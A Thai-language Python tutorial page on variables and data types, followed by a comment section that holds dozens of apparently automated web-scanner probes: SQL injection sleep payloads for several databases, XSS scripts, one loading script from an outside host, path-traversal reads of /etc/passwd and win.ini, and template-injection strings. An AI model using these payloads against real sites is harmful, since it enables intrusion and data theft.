CMSPY ทดสอบ Data Science Django Web Framework Python Discrete Mathematics Machine Learning
AnonymousUser | Login | Register
Access From: 18.224.56.127

Python

ตัวแปรและชนิดข้อมูล

By admin | Oct. 9, 2019, 2:32 p.m. | comments 173

ตัวแปร

ตัวแปร (Variable) ในโปรแกรมคอมพิวเตอร์เป็นชื่อที่ใช้ในการอ้างถึงตำแหน่งหน่วยความจำเพื่อการจัดเก็บข้อมูลนั้น รวมถึงการดำเนินการต่างๆ กับข้อมูลโดยผ่านการอ้างถึงโดยชื่อของตัวแปร (ซึ่งก็คือการระบุตำแหน่งของหน่วยความจำ) ที่กำหนด ตัวแปรในภาษาไพธอนมีลักษณะพิเศษที่แตกต่างจากตัวแปรในภาษาคอมพิวเตอร์ระดับสูงอื่นๆ โดยในภาษาอื่นๆ นั้นเมื่อมีการใช้งานตัวแปร จะต้องมีการประกาศชนิดข้อมูลของตัวแปรนั้นก่อน จึงจะสามารถใช้งานได้ นั่นคือเมื่อมีการกำหนดชนิดข้อมูลให้กับตัวแปรแล้ว จะใช้ตัวแปรนั้นเพื่อเก็บชนิดข้อมูลแบบอื่นๆ ไม่ได้ แต่สำหรับในภาษาไพธอนนั้นไม่จำเป็นต้องมีการประกาศชนิดข้อมูลของตัวแปร การกำหนดชนิดข้อมูลสามารถทำได้โดยตรงโดยผ่านคำสั่งการกำหนดค่า เช่น

>>>total = 50

ซึ่งเป็นการกำหนดชื่อตัวแปร total โดยมีชนิดข้อมูลเป็นจำนวนเต็ม และมีค่าของข้อมูลมีค่าเป็น 50 เป็นต้น นอกจากนี้ยังสามารถเปลี่ยนชนิดของข้อมูลที่กำหนดไว้แล้วได้ตามคุณสมบัติของข้อมูลที่กำลังประมวลผล เช่น

>>>total = 50

>>>print(total)

>>>total = total + 3.5

>>>print(total)

>>>53.5

จากตัวอย่างคำสั่งข้างต้นจะเห็นว่าเมื่อเริ่มต้นการทำงาน ตัวแปร total ได้รับการกำหนดเป็นจำนวนเต็ม และเมื่อมีการประมวลผลคำสั่ง total = total + 3.5 ซึ่งเป็นการบวกเลขจำนวนเต็ม กับ เลขทศนิยม ผลลัพธ์ที่ได้คือ 53.5 ดังนั้นตัวแปร total จะมีการเปลี่ยนชนิดข้อมูลเป็นข้อมูลแบบจำนวนจริง ซึ่งคุณสมบัติในลักษณะนี้ทำให้ไพธอนมีความสะดวกในการใช้งานเป็นอย่างมาก เนื่องจากผู้เขียนโปรแกรมไม่ต้องพะวงกับชนิดข้อมูลของตัวแปร และสามารถใช้งานโปรแกรมได้อย่างอิสระ

ดังได้กล่าวมาแล้วข้างต้นว่าการกำหนดชื่อตัวแปรในภาษาไพธอนทำได้โดยผ่านคำสั่งกำหนดค่า เช่น

>>>my_score = 10

เป็นการกำหนดตัวแปรชื่อ my_score โดยมีชนิดข้อมูลแบบจำนวนเต็ม และ มีค่าของข้อมูลเป็น 10 นั่นคือ my_score ไม่ได้มีค่าเท่ากับ 10 แต่ my_score เป็นการอ้างถึงตำแหน่งของหน่วยความจำที่ใช้ในการเก็บค่าข้อมูล 10 (ประเด็นนี้มีความสำคัญมาก ผู้เขียนจึงขอย้ำรายละเอียดประเด็นนี้อีกครั้งหนึ่ง)

นอกจากนี้ผู้เขียนโปรแกรมยังสามารถกำหนดชนิดข้อมูลแบบอื่นๆ ให้กับตัวแปรได้ เช่น

>>>my_message = "Hello World, I Come in Peace."

>>>print (my_message)

>>> Hello World, I Come in Peace.

ภาษาไพธอนเป็นภาษาที่มีการทำงานกับข้อมูลที่เป็นสายอักขระที่หลากหลาย ซึ่งเป็นประโบชน์อย่างยิ่งในการเขียนโปรแกรม โดยจะได้กล่าวถึงโดยละเอียดต่อไป

ชนิดข้อมูล

ภาษาไพธอนมีชนิดของข้อมูล (Data Type) ให้ใช้ในการเขียนโปรแกรมอย่างครบถ้วย และหลากหลาย เพื่อรองรับการใช้งานในการเขียนโปรแกรมรูปแบบต่างๆ เช่น สายอักขระ (String) ตัวเลข บูลีน (Boolean) ลิสต์ (List) วันที่ และ เวลา เป็นต้น โดยมีรายละเอียด และตัวอย่างการใช้งานดังนี้

• สายอักขระ

สายอักขระเป็นกลุ่มของอักขระเรียงลำดับกัน ซึ่งอาจเป็นตัวอักษร ตัว เลข หรือสัญลักษณ์ต่างๆ โดยการกำหนดสายอักขระจะกำหนดภายในเครื่องหมายคำพูด เช่น

String1 = "I am enclosed in double quotes."
String2 = 'I am enclosed in single quotes.'

จากที่กล่าวมาแล้วว่าสายอักขระเป็นกลุ่มของอักขระที่เรียงลำดับต่อเนื่องกัน ดังนั้นเราจึงสามารถที่จะเข้าถึงและดำเนินการกับสมาชิก หรืออักขระแต่ละตัว โดยอักขระตัวเลขจะอยู่ที่ตำแหน่งเริ่มต้นที่ 0 เช่น กำหนดให้ string3 เป็น ‘hello world’ ดังนี้

string3 = 'hello world'

จะมีลำดับการจัดเก็บสายอักขระ และ การเข้าถึง ดังนี้

0       1       2       3       4       5       6       7       8       9       10
h       e       l       l       o               w       o       r       l       d
-11     -10     -9      -8      -7      -6      -5      -4      -3      -2      -1

การเข้าถึงอักขระแต่ละตัวสามารถทำได้โดยการกำหนดเลขดัชนีตามที่แสดงในตารางข้างต้น โดยสามารถอ้างอิงตำแหน่งจากซ้ายมือ หรือขวามือก็ได้ โดยในการอ้างอิงตำแหน่งจากซ้ายมือ สามารถระบุตำแหน่งได้โดยตรง เช่น

>>>print(string3[0])

h

>>>_

สำหรับการอ้างอักขระจากขวามือสามารถทำได้โดยการหาขนาดของสายอักขระนั้น (โดยใช้คำสัง len() ) และ กำหนดดัชนีจากขวามือ ดังนี้

>>>print(string3[len(string3) - 3])

r

>>>_

1) การเชื่อมสายอักขระ

การเชื่อมสายอักขระสามารถทำได้โดยใช้คำสั่งดังนี้

string_1 + string_2 + … + string_n

เช่น

string_1 = 'hello'
string_2 = 'world'
string_3 = 'peace'
con_string = string_1 + ' ' + string_2 + ',I Come in ' + string_3
print(con_string)

จะได้ผลลัพธ์เป็น hello world,I Come in peace

2) การทำซ้ำ

การทำซ้ำสายอักขระสามารถทำได้โดยคำสั่ง * และระบุจำนวนครั้งของการทำซ้ำ เช่น ‘a’ * 5 จะได้ ‘aaaaa’ ดังตัวอย่างการใช้คำสั่ง

>>>print('a' * 5)

aaaaa

>>>_

3) การหาขนาดของสายอักขระ

การหาขนาดของสายอักขระสามารถทำได้โดยใช้คำสั่ง len() ดังนี้

>>>len('hello')

5

>>>_

4) การเลื่อนตำแหน่ง

การเลื่อนตำแหน่ง เป็นการกำหนดสายอักขระย่อยภายในสายอักขระทั้งหมด โดยในการกำหนดนั้นจะมีดัชนี 2 ตัว โดยดัชนีตัวแรกจะหมายถึงตำแหน่งเริ่มต้น และดัชนีตัวที่สอง หมายถึงตำแหน่งสิ้นสุดของสายอักขระที่ต้องการ เช่น

string_1 = 'hello world'
sli = string_1[1:4]
print(sli)

จะได้ผลลัพธ์เป็น

ell

นั่นคืออักขระลำดับที่ 1 2 และ 3 โดยไม่นับรวมอักขระลำดับที่ 4

5) การเปลี่ยนขนาดตัวพิมพ์

การเปลี่ยนขนาดตัวพิมพ์ ทำได้โดยใช้ตุณสมบัติ lower() และ upper() ดังตัวอย่าง

string_1 = 'Hello World, I Come in Peace.'
print(string_1.lower())
print(string_1.upper())

จะได้ผลลัพธ์เป็น

hello world, i come in peace.
HELLO WORLD, I COME IN PEACE.

6) การเปลี่ยนชนิดข้อมูลอื่นเป็นสายอักขระ

ในบางกรณีเราอาจต้องการเปลี่ยนข้อมูลชนิดอื่นๆ เป็นสายอักขระ ซึ่งจะเป็นประโยชน์อย่างมากในการพิมพ์สายอักขระที่มีข้อมูลอื่นรวมอยู่ในระหว่างสายอักขระ โดยสามารถเปลี่ยนชนิดข้อมูลได้โดยใช้คำสั่ง str() ดังนี้

age = 23
print('my age is:' + str(age))

จะได้ผลลัพธ์เป็น

my age is:23

• ตัวเลข

ภาษาไพธอนออกแบบให้สามารถใช้งานตัวแปรได้โดยไม่ต้องประกาศชนิดข้อมูลไว้ล่วงหน้า กล่าวคือ สามารถกำหนดชนิดข้อมูล ละเปลี่ยนแปลงชนิดของข้อมูลได้คลอดเวลาที่ต้องการ โดยชนิดข้อมูลและตัวอย่างการใช้งาน มีดังนี้

1) จำนวนเต็ม

a = 1               #จำนวนเต็มบวก
b = -1              #จำนวนเต็มลบ
print(a, b, a + b)
c = 0O7             #เลขฐาน 8
print(c)
d = 0xA0C           #เลขฐาน 16
print(d)
e = 0b1100          #เลขฐาน 2
print(e)

จะได้ผลลัพธ์เป็น

1 -1 0
7
2572
12

ในกรณีที่ต้องการแปลงเลขจำนวนเต็มจากฐานหนึ่งไปยังอีกฐานหนึ่งสามารถทำได้โดยการใช้คำสั่ง hex() bin() และ oct() เพื่อแปลงตัวเลขที่ระบุให้เป็นเลขฐาน 16 ฐาน 2 หรือ ฐาน 8 ตามลำดับ เช่น

print(oct(7))
print(hex(2572))
print(bin(12))

จะได้ผลลัพธ์เป็น

0o7
0xa0c
0b1100

2) จำนวนจริง (ทศนิยม)

จำนวนจริง หรือทศนิยมเป็นตัวเลขที่มีความละเอียดมากขึ้น โดยมีองค์ประกอบของแต่ละค่าแบ่งเป็น 3 ส่วน คือส่วนที่เป็นจำนวนเต็ม ส่วนที่เป็นจุด และส่วนที่เป็นทศนิยมซึ่งแสดงในรูปของจำนวนเต็ม เช่น 10.23456 เป็น นอกจากนี้ยังสามารถเขียนจำนวนจริงในรูปของเลขยกกำลังได้ เช่น 123.4e2 ซึ่งมีค่าเท่ากับ 123.4 X 102 ซึ่งเท่ากับ 12340 นั่นเอง

3) การแปลงชนิดข้อมูลแบบตัวเลข

เราสามารถแปลงข้อมูลตัวเลขได้เช่นเดียวกับการแปลงฐาน โดยใช้คำสั่ง float() และ int() เพื่อแปลงเป็นจำนวนจริง หรือจำนวนเต็ม เช่น

a = 12
b = 12.5
print('a =', float(a))
print('b =', int(b))

จะได้ผลลัพธ์เป็น

a = 12.0
b = 12

การที่ b มีค่าเป็น 12 เนื่องจากมีการปัดเศษเพื่อให้เป็นจำนวนเต็ม

• วันที่ และ เวลา

เนื่องจากโปรแกรมส่วนใหญ่จะมีการใช้งานข้อมูลเกี่ยวกับวันที่ และเวลา ภาษาไพธอนจึงเตรียมการทำงานที่เกี่ยวข้องกับวันที่ และเวลาไว้เพื่ออำนวยความสะดวกแก่ผู้เขียนโปรแกรม โดยสามารถเรียกใช้งานได้ด้วยคำสั่ง datetime() แต่เนื่องจากเป็นคำสั่งที่อยู่ภานนอกโปรแกรมของผู้ใช้ ดังนั้นจึงต้องมีการรำส่วนของโปรแกรมนั้นเข้ามาในโปรแกรมของผู้ใช้ก่อน จึงจะสามารถใช้งานคำสั่งได้ โดยการนำเข้าโปรแกรมสาที่ถทำได้โดยใช้คำสั่ง import ดังนี้

>>>from datetime import datetime

>>>print(datetime.now())

2019-05-03 18:13:15.788192

>>>_

นอกจากนี้ยังสามารถกำหนดรูปแบบการแสดงผล วันที่ และเวลาได้โดยใช้ strftime() เช่น

>>>from time import strftime

>>>print(strftime("%Y-%m-%d %H:%M:%S"))

2019-05-03 18:17:27

>>>_

• บูลีน

การเปรียบเทียบค่าในภาษาไพธอนมีผลลัพธ์เพียงสองค่า คือ จริง หรือ เท็จ เท่านั้น โดยข้อมูลชนิดนี้เรียกว่าบูลีน เช่น

bool_1 = 4 == 2*3
bool_2 = 10 < 2 * 2**3
bool_3 = 8 > 2 * 4 + 1
print(bool_1)
print(bool_2)
print(bool_3)

จะได้ผลลัพธ์เป็น

False
True
False

• ลิสต์

ลิสต์เป็นชนิดข้อมูลที่ใช้ในการจัดเก็บกลุ่ม หรือเซทของข้อมูล ซึ่งสามารถจัดเก็บกลุ่มของข้อมูลที่มีชนิดข้อมูลได้ทุกแบบ โดยมีรูปแบบในการกำหนด หรือการจัดเก็บข้อมูล ดังนี้

my_list = [item_1, item_2, item_3] 

ในกรณีที่ต้องการกำหนดลิสต์ว่าง (ลิสต์ที่ยังไม่กำหนดสมาชิก) my_list = [] ตัวอย่างการใช้งานลิสต์ โดยกำหนดให้มีสมาชิกเป็นสีต่างๆ จำนวน 5 สี ดังนี้

colors = ['red', 'orange', 'yellow', 'green', 'white']

ลำดับของสมาชิกในลิสต์สามารถอ้างอิงโดยใช้ดัชนเช่นเดียวกันกับการอ้างลำดับอักขระในสายอักขระ โดยสมาชิกตัวแรกจะเริ่มต้นที่ 0 เช่น

>>>colors = ['red', 'orange', 'yellow', 'green', 'white']

>>>print (colors[0])

red

`>>>_'

หรือหากต้องการทราบจำนวนสมาชิกในลิสต์ จะใช้คำสั่ง len() เช่น

>>>len(colors)

5

>>>_

นอกจากนี้ยังสามารถแสดงจำนวนสมาชิกในลิสต์ การลบ และการเพิ่มสมาชิกในลิสต์ ดังตัวอย่างการใช้งาน (ใช้ python shell) ดังนี้ การแสดงจำนวนสมาชิกในลิสต์

>>> print(colors)

['red', 'orange', 'yellow', 'green', 'white']

>>>_

การลบสมาชิก

>>> colors.remove('green')

>>> print(colors)

['red', 'orange', 'yellow', 'white']

>>>_

การเพิ่มสมาชิก (ต่อท้ายจากสมาชิกเดิม)

>>> colors.append('black')

>>> print(colors)

['red', 'orange', 'yellow', 'white', 'black']

>>>_

การเพิ่ม หรือแทรกสมาชิกใหม่ในตำแหน่งที่ระบุ

>>> colors.insert(3,'pink')

>>> print(colors)

['red', 'orange', 'yellow', 'pink', 'white', 'black']

>>>_

การอ้างอิงสมาชิกในลิสต์ สามารถทำได้โดยการอ้างอิงที่ละสมาชิก ดังที่กล่าวมาแล้ว หรืออาจอ้างอิงกลุ่มของสมาชิกที่ต้องการโดยการเลื่อนตำแหน่งดัชนีเช่นเดียวกันกับการดำเนินการกับสายอักขระ เช่น

>>> colors[2:5]

['yellow', 'pink', 'white']

>>>_

หรือ

>>> colors[len(colors)-2]

'white'

>>>_

• ดิกชั่นนารี

ดิกชั่นนารี่เป็นข้อมูลที่มีสมาชิกอยู่ภายในเช่นเดียวกับลิสต์ แตกต่างกันที่การอ้างอิงถึงสมาชิกนั้นในลิสต์จะดำเนินการโดยการอ้างลำดับของสมาชิกโดยใช้ดัชนี (ซึ่งเริ่มต้นที่ 0 เสมอ) แต่ในดิกชั่นนารี่จะเป็นการกำหนดดัชนี (หรือที่เรียกว่ากุญแจ) ในการอ้างอิงเพื่อการเข้าถึงเอง ดังนั้นสมาชิกแต่ละตัวในดิกชั่นนารี่จะประกอบด้วยข้อมูล 2 ส่วนคือ กุญแจ และ ข้อมูลที่กุญแจนั้นอ้างถึง โดยข้อมูลทั้งสองส่วนเชื่อมกันด้วยเครื่องหมาย “:” เช่น

>>>menu = {'salad':10, 'rice':20, 'noodle':30 }

การแสดงจำนวนสมาชิกในดิกชั่นนารี่

>>> len(menu)

3

>>>_

การแสดงข้อมูลในดิกชั่นนารี่

>>> print(menu)

{'salad': 10, 'rice': 20, 'noodle': 30}

>>>_

การเพิ่มสมาชิกในดิกชั่นนารี่

>>> menu['pad-thai'] = 40

>>> print(menu)

{'salad': 10, 'rice': 20, 'noodle': 30, 'pad-thai': 40}

>>>_

การลบสมาชิกในดิกชั่นนารี่

>>> del menu['rice']

>>> print(menu)

{'salad': 10, 'noodle': 30, 'pad-thai': 40}

>>>_

การแก้ไขข้อมูลของสมาชิกในดิกชั่นนารี่

>>> menu['noodle']=35

>>> print(menu)

{'salad': 10, 'noodle': 35, 'pad-thai': 40}

>>>_

การลบข้อมูลสมาชิกทั้งหมด

>>> dict.clear(menu)

>>> print (menu)

{}

>>>_

การลบ หรือยกเลิกการกำหนดดิกชั่นนารี่ >>> del menu

>>> print (menu)

Traceback (most recent call last):
    File "<pyshell#29>", line 1, in <module>
        print (menu)
NameError: name 'menu' is not defined

>>>_

สาเหตุของข้อผิดพลาดที่เกิดขึ้นคือไม่มีการกำหนด ‘menu’ เนื่องจากได้ลบ หรือยกเลิกไปแล้วนั่นเอง

<-ไวยากรณ์ภาษาไพธอน คำสั่งดำเนินการ->


ถาม-ตอบ

aYlNlfdX Oct. 14, 2023, 2:06 a.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

aYlNlfdX Oct. 14, 2023, 2:07 a.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

aYlNlfdX Oct. 14, 2023, 2:07 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:07 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

aYlNlfdX Oct. 14, 2023, 2:07 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:07 a.m.

-1

aYlNlfdX Oct. 14, 2023, 2:07 a.m.

-1)

aYlNlfdX Oct. 14, 2023, 2:11 a.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

aYlNlfdX Oct. 14, 2023, 2:12 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

aYlNlfdX Oct. 14, 2023, 2:12 a.m.

-1; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:12 a.m.

-1); waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:12 a.m.

1 waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:12 a.m.

iAhXclRE'; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:13 a.m.

-5 OR 254=(SELECT 254 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:15 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:15 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:17 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:17 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:25 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:25 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:25 a.m.

-1 OR 2+28-28-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:25 a.m.

-1 OR 2+544-544-1=0+0+0+1

aYlNlfdX Oct. 14, 2023, 2:26 a.m.

-1' OR 2+481-481-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:26 a.m.

-1' OR 2+420-420-1=0+0+0+1 or 'lG0bAL0b'='

aYlNlfdX Oct. 14, 2023, 2:26 a.m.

-1" OR 2+422-422-1=0+0+0+1 --

aYlNlfdX Oct. 14, 2023, 2:26 a.m.

if(now()=sysdate(),sleep(15),0)

aYlNlfdX Oct. 14, 2023, 2:26 a.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

aYlNlfdX Oct. 14, 2023, 2:26 a.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

aYlNlfdX Oct. 14, 2023, 2:26 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

aYlNlfdX Oct. 14, 2023, 2:27 a.m.

-1; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:27 a.m.

-1); waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:27 a.m.

1 waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:27 a.m.

LHvZJa4e'; waitfor delay '0:0:15' --

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

-5 OR 728=(SELECT 728 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

-5) OR 230=(SELECT 230 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

-1)) OR 297=(SELECT 297 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:28 a.m.

v1fjx7i0' OR 995=(SELECT 995 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

7V0NFPk9') OR 49=(SELECT 49 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

EgjxO0Om')) OR 829=(SELECT 829 FROM PG_SLEEP(15))--

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

1'"

aYlNlfdX Oct. 14, 2023, 2:29 a.m.

@@oqqAX

nZkkAbWB Jan. 22, 2024, 2:49 p.m.

if(now()=sysdate(),sleep(15),0)

nZkkAbWB Jan. 22, 2024, 2:49 p.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nZkkAbWB Jan. 22, 2024, 2:49 p.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nZkkAbWB Jan. 22, 2024, 2:49 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nZkkAbWB Jan. 22, 2024, 2:49 p.m.

-1; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

-1); waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

1 waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

gW0MKJre'; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

-5 OR 22=(SELECT 22 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

-5) OR 712=(SELECT 712 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:50 p.m.

-1)) OR 552=(SELECT 552 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

YLO0T6TQ' OR 781=(SELECT 781 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

hsATA7YF') OR 86=(SELECT 86 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

7VBoMiPK')) OR 889=(SELECT 889 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

1'"

nZkkAbWB Jan. 22, 2024, 2:51 p.m.

@@MKdIS

nZkkAbWB Jan. 22, 2024, 2:54 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:54 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:54 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:54 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:55 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

if(now()=sysdate(),sleep(15),0)

nZkkAbWB Jan. 22, 2024, 2:56 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

-1)

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

-5 OR 349=(SELECT 349 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:57 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

N2jis2uf') OR 137=(SELECT 137 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

KNd6b9AO')) OR 820=(SELECT 820 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:58 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

file:///etc/passwd

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

Http://bxss.me/t/fit.txt

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

http://bxss.me/t/fit.txt%3F.jpg

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

/etc/shells

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

c:/windows/win.ini

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

bxss.me

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

)

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

!(()&&!|*|*|

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

^(#$!@#$)(()))******

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1'"()&%<zzz><ScRiPt >0Z6p(9179)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

'"()&%<zzz><ScRiPt >0Z6p(9908)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

19216898

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

bfg4446%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4446

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

bfgx5597%C0%BEz1%C0%BCz2a%90bcxhjl5597

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

<%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

<th:t="${dfb}#foreach

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

dfb{{98991*97996}}xca

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

dfb[[${98991*97996}]]xca

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

dfb__${98991*97996}__::.x

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<ScRiPt >0Z6p(9530)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<WNQGNF>SJAZN[!+!]</WNQGNF>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<script>0Z6p(9440)</script>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%30%5A%36%70%28%39%35%35%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<ScRiPt >0Z6p(9009)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

-1 OR 2+643-643-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

-1 OR 2+265-265-1=0+0+0+1

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

-1' OR 2+227-227-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

-1' OR 2+243-243-1=0+0+0+1 or '2x7ZwSLo'='

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

-1" OR 2+86-86-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9921></ScRiPt>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<isindex type=image src=1 onerror=0Z6p(9262)>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9967'>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<body onload=0Z6p(9467)>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<img src=//xss.bxss.me/t/dot.gif onload=0Z6p(9187)>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<img src=xyz OnErRor=0Z6p(9287)>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

../../../../../../../../../../../../../../etc/passwd

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

../../../../../../../../../../../../../../windows/win.ini

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

../1

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1<img/src=">" onerror=alert(9492)>

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

%31%3C%53%63%52%69%50%74%20%3E%30%5A%36%70%289195%29%3C%2F%73%43%72%69%70%54%3E

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

